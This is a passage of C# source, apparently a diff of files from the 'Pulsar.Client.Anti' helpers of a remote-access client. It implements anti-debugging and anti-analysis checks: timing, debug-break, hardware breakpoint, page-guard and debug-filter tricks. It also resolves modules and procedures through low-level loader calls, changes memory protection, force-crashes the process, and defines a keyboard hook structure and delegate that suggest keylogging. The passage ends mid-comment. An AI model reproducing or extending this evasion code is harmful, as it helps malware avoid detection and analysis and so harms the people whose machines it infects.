/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
public static bool GetTickCountAntiDebug()
{
uint Start = GetTickCount();
Thread.Sleep(0x10);
return (GetTickCount() - Start) > 0x10;
}
/// <summary>
/// Triggers a debug break to detect debugger presence.
/// </summary>
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
public static bool DebugBreakAntiDebug()
{
try
{
Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null);
return false;
}
catch
{
return true;
}
}
private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L;
/// <summary>
/// Detects hardware breakpoints by checking debug registers.
/// </summary>
/// <returns>Returns true if hardware breakpoints are detected, otherwise false.</returns>
public static bool HardwareRegistersBreakpointsDetection()
{
CONTEXT Context = new CONTEXT();
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
int PID = Process.GetCurrentProcess().Id;
foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads)
{
uint THREAD_QUERY_INFORMATION = 0x0040;
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)Threads.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
if (NtGetContextThread(hThread, ref Context))
{
if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00))
{
NtClose(hThread);
return true;
}
}
NtClose(hThread);
}
}
return false;
}
/// <summary>
/// Cleans the specified path by removing null characters.
/// </summary>
/// <param name="Path">The path to clean.</param>
/// <returns>The cleaned path.</returns>
private static string CleanPath(string Path)
{
string CleanedPath = null;
foreach (char Null in Path)
{
if (Null != '\0')
{
CleanedPath += Null;
}
}
return CleanedPath;
}
/// <summary>
/// Uses NtSetDebugFilterState to prevent debugging.
/// </summary>
/// <returns>Returns true if the filter state was set successfully, otherwise false.</returns>
public static bool NtSetDebugFilterStateAntiDebug()
{
if (NtSetDebugFilterState(0, 0, true) != 0)
return false;
return true;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate int ExecutionDelegate();
/// <summary>
/// Uses page guard to detect debugger presence by executing a function pointer.
/// </summary>
/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
public static bool PageGuardAntiDebug()
{
SYSTEM_INFO SysInfo = new SYSTEM_INFO();
GetSystemInfo(out SysInfo);
uint MEM_COMMIT = 0x00001000;
uint MEM_RESERVE = 0x00002000;
uint PAGE_EXECUTE_READWRITE = 0x40;
uint PAGE_GUARD = 0x100;
uint MEM_RELEASE = 0x00008000;
IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (AllocatedSpace != IntPtr.Zero)
{
memset(AllocatedSpace, 1, 0xC3);
uint OldProtect = 0;
if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect))
{
try
{
ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer<ExecutionDelegate>(AllocatedSpace);
int Result = IsDebugged();
}
catch
{
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
return false;
}
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
return true;
}
}
return false;
}
}
}
+44
View File
@@ -0,0 +1,44 @@
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Anti.Helper
{
public class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess2(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess3(IntPtr hProcess, uint ProcessInfoClass, ref Structs.PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool SysNtClose(IntPtr Handle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation(uint SystemInformationClass, ref Structs.SYSTEM_CODEINTEGRITY_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation2(uint SystemInformationClass, ref Structs.SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation3(uint SystemInformationClass, ref Structs.SYSTEM_SECUREBOOT_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int SysNtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr GenericPtr();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate int GenericInt();
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr KeyboardHook(int nCode, IntPtr wParam, IntPtr lParam);
}
}
+430
View File
@@ -0,0 +1,430 @@
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Anti.Helper
{
public class Structs
{
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT
{
public uint P1Home;
public uint P2Home;
public uint P3Home;
public uint P4Home;
public uint P5Home;
public uint P6Home;
public long ContextFlags;
public IntPtr MxCsr;
public IntPtr SegCs;
public IntPtr SegDs;
public IntPtr SegEs;
public IntPtr SegFs;
public IntPtr SegGs;
public IntPtr SegSs;
public IntPtr EFlags;
public uint Dr0;
public uint Dr1;
public uint Dr2;
public uint Dr3;
public uint Dr6;
public uint Dr7;
}
public struct PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
{
public uint MicrosoftSignedOnly;
}
[StructLayout(LayoutKind.Explicit)]
public struct SYSTEM_CODEINTEGRITY_INFORMATION
{
[FieldOffset(0)]
public ulong Length;
[FieldOffset(4)]
public uint CodeIntegrityOptions;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
internal IntPtr Reserved1;
internal IntPtr PebBaseAddress;
internal IntPtr Reserved2_0;
internal IntPtr Reserved2_1;
internal IntPtr UniqueProcessId;
internal IntPtr InheritedFromUniqueProcessId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_KERNEL_DEBUGGER_INFORMATION
{
[MarshalAs(UnmanagedType.U1)]
public bool KernelDebuggerEnabled;
[MarshalAs(UnmanagedType.U1)]
public bool KernelDebuggerNotPresent;
}
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
public struct ANSI_STRING
{
public short Length;
public short MaximumLength;
public string Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_SECUREBOOT_INFORMATION
{
public bool SecureBootEnabled;
public bool SecureBootCapable;
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_INFO
{
public ushort ProcessorArchitecture;
ushort Reserved;
public uint PageSize;
public IntPtr MinimumApplicationAddress;
public IntPtr MaximumApplicationAddress;
public IntPtr ActiveProcessorMask;
public uint NumberOfProcessors;
public uint ProcessorType;
public uint AllocationGranularity;
public ushort ProcessorLevel;
public ushort ProcessorRevision;
}
[StructLayout(LayoutKind.Sequential)]
public struct OSVERSIONINFOEX
{
public int dwOSVersionInfoSize;
public int dwMajorVersion;
public int dwMinorVersion;
public int dwBuildNumber;
public int dwPlatformId;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string szCSDVersion;
public ushort wServicePackMajor;
public ushort wServicePackMinor;
public ushort wSuiteMask;
public byte wProductType;
public byte wReserved;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res1;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_NT_HEADERS32
{
public UInt32 Signature;
public IMAGE_FILE_HEADER FileHeader;
public IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_NT_HEADERS64
{
public UInt32 Signature;
public IMAGE_FILE_HEADER FileHeader;
public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
public struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LIST_ENTRY
{
public IntPtr Flink;
public IntPtr Blink;
}
[StructLayout(LayoutKind.Sequential)]
public struct _PEB_LDR_DATA
{
public UInt32 Length;
public Byte Initialized;
public IntPtr SsHandle;
public _LIST_ENTRY InLoadOrderModuleList;
public _LIST_ENTRY InMemoryOrderModuleList;
public _LIST_ENTRY InInitializationOrderModuleList;
public IntPtr EntryInProgress;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LDR_DATA_TABLE_ENTRY
{
public _LIST_ENTRY InLoadOrderLinks;
public _LIST_ENTRY InMemoryOrderLinks;
public _LIST_ENTRY InInitializationOrderLinks;
public IntPtr DllBase;
public IntPtr EntryPoint;
public UInt32 SizeOfImage;
public UNICODE_STRING FullDllName;
public UNICODE_STRING BaseDllName;
}
[StructLayout(LayoutKind.Sequential)]
public struct RTL_USER_PROCESS_PARAMETERS
{
public long MaximumLength;
public long Length;
public long Flags;
public long DebugFlags;
public IntPtr ConsoleHandle;
public long ConsoleFlags;
public IntPtr StdInputHandle;
public IntPtr StdOutputHandle;
public IntPtr StdErrorHandle;
public IntPtr CurrentDirectory;
public UNICODE_STRING DllPath;
public UNICODE_STRING ImagePathName;
public UNICODE_STRING CommandLine;
public IntPtr Environment;
public long StartingPositionLeft;
public long StartingPositionTop;
public long Width;
public long Height;
public long CharWidth;
public long CharHeight;
public long ConsoleTextAttributes;
public long WindowFlags;
public long ShowWindowFlags;
public UNICODE_STRING WindowTitle;
public UNICODE_STRING DesktopName;
public UNICODE_STRING ShellInfo;
public UNICODE_STRING RuntimeData;
public IntPtr DLCurrentDirectory;
public long EnvironmentSize;
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct PEB
{
public byte InheritedAddressSpace;
public byte ReadImageFileExecOptions;
public byte BeingDebugged;
public byte SpareBool;
public IntPtr Mutant;
public IntPtr ImageBaseAddress;
public IntPtr Ldr;
public IntPtr ProcessParameters;
public IntPtr SubSystemData;
public IntPtr ProcessHeap;
public IntPtr FastPebLock;
public IntPtr AtlThunkSListPtr;
public IntPtr IFEOKey;
public uint CrossProcessFlags;
public IntPtr KernelCallbackTable;
public uint SystemReserved;
public uint AtlThunkSListPtr32;
public IntPtr ApiSetMap;
public uint TlsExpansionCounter;
public IntPtr TlsBitmap;
public fixed uint TlsBitmapBits[2];
public IntPtr ReadOnlySharedMemoryBase;
public IntPtr SharedData;
public IntPtr ReadOnlyStaticServerData;
public IntPtr AnsiCodePageData;
public IntPtr OemCodePageData;
public IntPtr UnicodeCaseTableData;
public uint NumberOfProcessors;
public uint NtGlobalFlag;
}
[StructLayout(LayoutKind.Sequential)]
public struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
}
}
+746
View File
@@ -0,0 +1,746 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using static Pulsar.Client.Anti.Helper.Structs;
using System.Reflection;
using System.Runtime.CompilerServices;
using static Pulsar.Client.Anti.Helper.Delegates;
namespace Pulsar.Client.Anti.Helper
{
public class Utils
{
#region WinApi
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref uint RegionSize, uint AllocationType, uint Protect);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandleA(string Library);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string Function);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
[DllImport("kernelbase.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint GetModuleFileName(IntPtr hModule, StringBuilder lpFileName, uint nSize);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtProtectVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint NewProtect, out uint oldProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
[DllImport("ntdll", SetLastError = true)]
private static extern uint NtClose(IntPtr hObject);
#endregion
/// <summary>
/// Gets the handle of a specified module using low-level functions.
/// </summary>
/// <param name="Library">The name of the library to get the handle for.</param>
/// <returns>The handle to the module.</returns>
public static IntPtr LowLevelGetModuleHandle(string Library)
{
if (IntPtr.Size == 4)
return GetModuleHandleA(Library);
IntPtr hModule = IntPtr.Zero;
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
RtlInitUnicodeString(out UnicodeString, Library);
LdrGetDllHandleEx(0, null, null, UnicodeString, ref hModule);
return hModule;
}
/// <summary>
/// Gets the address of a specified function using low-level functions.
/// </summary>
/// <param name="hModule">The handle to the module.</param>
/// <param name="Function">The name of the function to get the address for.</param>
/// <returns>The address of the function.</returns>
public static IntPtr LowLevelGetProcAddress(IntPtr hModule, string Function)
{
if (IntPtr.Size == 4)
return GetProcAddress(hModule, Function);
IntPtr FunctionHandle = IntPtr.Zero;
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
Structs.ANSI_STRING AnsiString = new Structs.ANSI_STRING();
RtlInitUnicodeString(out UnicodeString, Function);
RtlUnicodeStringToAnsiString(out AnsiString, UnicodeString, true);
LdrGetProcedureAddressForCaller(hModule, AnsiString, 0, out FunctionHandle, 0, IntPtr.Zero);
return FunctionHandle;
}
/// <summary>
/// Writes the struct to a pointer.
/// </summary>
/// <param name="structure">The struct.</param>
/// <param name="ptr">The pointer to the address that represents the struct.</param>
/// <param name="fDeleteOld">An indicator to whether we should delete the old struct after writing or not.</param>
/// <param name="ChangeMemoryProtection">An indicator to whether we should change the ptr memory protection before writing.</param>
/// <returns>return true if successful, otherwise false.</returns>
public static bool WriteStructToPtr<T>(T structure, IntPtr ptr, bool fDeleteOld, bool ChangeMemoryProtection)
{
try
{
if (ChangeMemoryProtection)
{
uint Old = 0;
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), PAGE_EXECUTE_READWRITE, out Old);
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), Old, out Old);
return true;
}
else
{
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
return true;
}
}
catch
{
}
return false;
}
public static string GetCurrentCLRModuleName()
{
string[] CLRs = { "clr.dll", "coreclr.dll" };
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
foreach (string CLR in CLRs)
{
if (module.ModuleName.ToLower() == CLR)
{
return module.ModuleName;
}
}
}
return null;
}
/// <summary>
/// Changes the page protection for an address.
/// </summary>
/// <param name="BaseAddress">The Address to change the protection for.</param>
/// <param name="RegionSize">The size of the address.</param>
/// <param name="NewProtect">The new protection to apply.</param>
/// <param name="oldProtect">The old protection if you wanna set it back again.</param>
/// <returns>return true if successfully did it's job, otherwise false.</returns>
public static bool ProtectMemory(IntPtr BaseAddress, UIntPtr RegionSize, uint NewProtect, out uint oldProtect)
{
int Status = NtProtectVirtualMemory(new IntPtr(-1), ref BaseAddress, ref RegionSize, NewProtect, out oldProtect);
if (Status == 0)
return true;
return false;
}
/// <summary>
/// Reads a byte from a specified memory address.
/// </summary>
/// <param name="ptr">The memory address to read from.</param>
/// <returns>The byte read from the memory address.</returns>
public static byte InternalReadByte(IntPtr ptr)
{
unsafe
{
try
{
byte* ptr2 = (byte*)(void*)ptr;
return *ptr2;
}
catch
{
return 0;
}
}
}
/// <summary>
/// Force exits the process even if hooked.
/// </summary>
public static void ForceExit()
{
Environment.Exit(0);
unsafe
{
int* ptr = null;
*ptr = 42;
}
throw new Exception(new Random().Next(int.MinValue, int.MaxValue).ToString());
}
/// <summary>
/// copies memory from a byte array to an IntPtr.
/// </summary>
/// <param name="dst">The IntPtr destination in which the data will be copied to.</param>
/// <param name="src">The byte array source in which the data will be copied from.</param>
public static void CopyMem(IntPtr dst, byte[] src, bool ChangeProtection)
{
unsafe
{
fixed (byte* source = src)
{
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(dst, (UIntPtr)src.Length, 0x40, out oldProtect))
{
Marshal.Copy(src, 0, dst, src.Length);
ProtectMemory(dst, (UIntPtr)src.Length, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, 0, dst, src.Length);
}
}
}
}
/// <summary>
/// copies memory from an IntPtr to a byte array.
/// </summary>
/// <param name="dst">The byte array destination in which the data will be copied to.</param>
/// <param name="src">The IntPtr source in which the data will be copied from.</param>
public static void CopyMem(byte[] dst, IntPtr src, bool ChangeProtection)
{
unsafe
{
fixed (byte* destination = dst)
{
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(src, (UIntPtr)dst.Length, 0x40, out oldProtect))
{
Marshal.Copy(src, dst, 0, dst.Length);
ProtectMemory(src, (UIntPtr)dst.Length, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, dst, 0, dst.Length);
}
}
}
}
/// <summary>
/// copies memory from an IntPtr to another.
/// </summary>
/// <param name="dst">The byte array destination in which the data will be copied to.</param>
/// <param name="src">The IntPtr source in which the data will be copied from.</param>
public static void CopyMem(IntPtr dst, IntPtr src, bool ChangeProtection)
{
int sizeDst = Marshal.SizeOf(typeof(IntPtr));
byte[] buffer = new byte[sizeDst];
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(dst, (UIntPtr)sizeDst, 0x40, out oldProtect))
{
Marshal.Copy(src, buffer, 0, sizeDst);
Marshal.Copy(buffer, 0, dst, sizeDst);
ProtectMemory(dst, (UIntPtr)sizeDst, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, buffer, 0, sizeDst);
Marshal.Copy(buffer, 0, dst, sizeDst);
}
}
/// <summary>
/// Sees if the first string contains the second string.
/// </summary>
/// <param name="First">First string to see if it contains the second string.</param>
/// <param name="Second">The second string that will be searched for.</param>
/// <returns>if the second string contains a string from the first one then the result is true, otherwise false.</returns>
public static bool Contains(string First, string Second)
{
if (CultureInfo.InvariantCulture.CompareInfo.IndexOf(First, Second, 0, First.Length, CompareOptions.OrdinalIgnoreCase) >= 0)
{
return true;
}
return false;
}
/// <summary>
/// The method which is invoked to test reflection for IsReflectionEnabled.
/// </summary>
/// <returns>a random number from 1-99</returns>
private static int TestInvoke()
{
return new Random().Next(1, 99);
}
/// <summary>
/// Checks if reflection is supported before doing reflection operations.
/// </summary>
/// <param name="FPSupport">Check if we can get a function pointer.</param>
/// <param name="InvokeSupport">Check if we can invoke another function.</param>
/// <returns>return true if reflection is enabled and supports the options you provided, otherwise false.</returns>
public static bool IsReflectionEnabled(bool FPSupport, bool InvokeSupport)
{
try
{
MethodBase BaseMethodTest = MethodBase.GetCurrentMethod().DeclaringType.GetMethod("TestInvoke", BindingFlags.NonPublic | BindingFlags.Static);
if (BaseMethodTest == null)
return false;
if (InvokeSupport)
{
if (BaseMethodTest.Invoke(null, null) == null || (int)BaseMethodTest.Invoke(null, null) == 0)
return false;
}
if (FPSupport)
{
if (GetPointer(BaseMethodTest as MethodInfo) == IntPtr.Zero)
return false;
}
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Converts a cast to a stack pointer.
/// </summary>
/// <returns>The stack pointer of the cast you provided.</returns>
private static IntPtr UnsafeCastToStackPointer<T>(ref T o) where T : class
{
unsafe
{
#pragma warning disable CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
fixed (T* ptr = &o)
{
return (IntPtr)ptr;
}
#pragma warning restore CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
}
}
/// <summary>
/// Gets the entry assembly directly using internal .NET functions using reflection.
/// </summary>
/// <returns>if successful then it returns the entry assembly, otherwise null.</returns>
public static Assembly LowLevelGetEntryAssembly()
{
if (!IsReflectionEnabled(false, true))
return null;
Assembly EntryAsm = null;
try
{
IntPtr AsmPtr = UnsafeCastToStackPointer(ref EntryAsm);
if (AsmPtr != IntPtr.Zero)
{
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
if (ObjectHandleOnStackType != null)
{
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
Utils.CallInternalCLRFunction("GetEntryAssembly", typeof(AppDomainManager), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { InstanceObjectHandle }, null);
}
}
}
catch
{
return null;
}
return EntryAsm;
}
/// <summary>
/// Gets the currently executing assembly directly using internal .NET functions using reflection.
/// </summary>
/// <returns>if successful then it returns the executing assembly, otherwise null.</returns>
public static Assembly LowLevelGetExecutingAssembly()
{
if (!IsReflectionEnabled(false, true))
return null;
Assembly ExecutingAssembly = null;
try
{
IntPtr AsmPtr = UnsafeCastToStackPointer(ref ExecutingAssembly);
if (AsmPtr != IntPtr.Zero)
{
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
Type StackCrawlMarksType = Type.GetType("System.Runtime.CompilerServices.StackCrawlMarkHandle");
if (ObjectHandleOnStackType != null && StackCrawlMarksType != null)
{
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
Type StackCrawlMarkEnumType = Type.GetType("System.Threading.StackCrawlMark");
object LookForMyCaller = Enum.Parse(StackCrawlMarkEnumType, "LookForMyCaller");
IntPtr StackCrawlMarkPtr = UnsafeCastToStackPointer(ref LookForMyCaller);
if (StackCrawlMarkPtr != IntPtr.Zero)
{
object InstanceStackCrawl = Activator.CreateInstance(StackCrawlMarksType);
FieldInfo mPtrFieldStackCrawl = StackCrawlMarksType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldStackCrawl.SetValue(InstanceStackCrawl, StackCrawlMarkPtr);
Utils.CallInternalCLRFunction("GetExecutingAssembly", Type.GetType("System.Reflection.RuntimeAssembly"), typeof(void), new object[] { InstanceStackCrawl, InstanceObjectHandle }, null);
}
}
}
}
catch
{
return null;
}
return ExecutingAssembly;
}
/// <summary>
/// Calls methods in the CLR which isn't normally/directly accessible.
